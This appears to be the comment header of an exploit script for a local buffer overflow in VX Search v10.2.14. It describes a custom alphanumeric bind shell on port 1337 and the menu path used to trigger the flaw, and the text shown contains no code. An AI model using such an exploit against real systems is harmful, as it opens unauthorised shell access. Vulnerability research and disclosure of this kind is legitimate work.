# Description       : VX Search v10.2.14 suffers from a local buffer overflow. The
#                     following exploit will generate a bind shell on port 1337. I
#                     was unable to get a shell working with msfvenom shellcode so
#                     below is a custom alphanumeric bind shell. Greetz rezkon ;)
#
# trigger the vulnerability by :
#   Tools -> Advanced options -> Proxy -> *Paste In Proxy Host Name
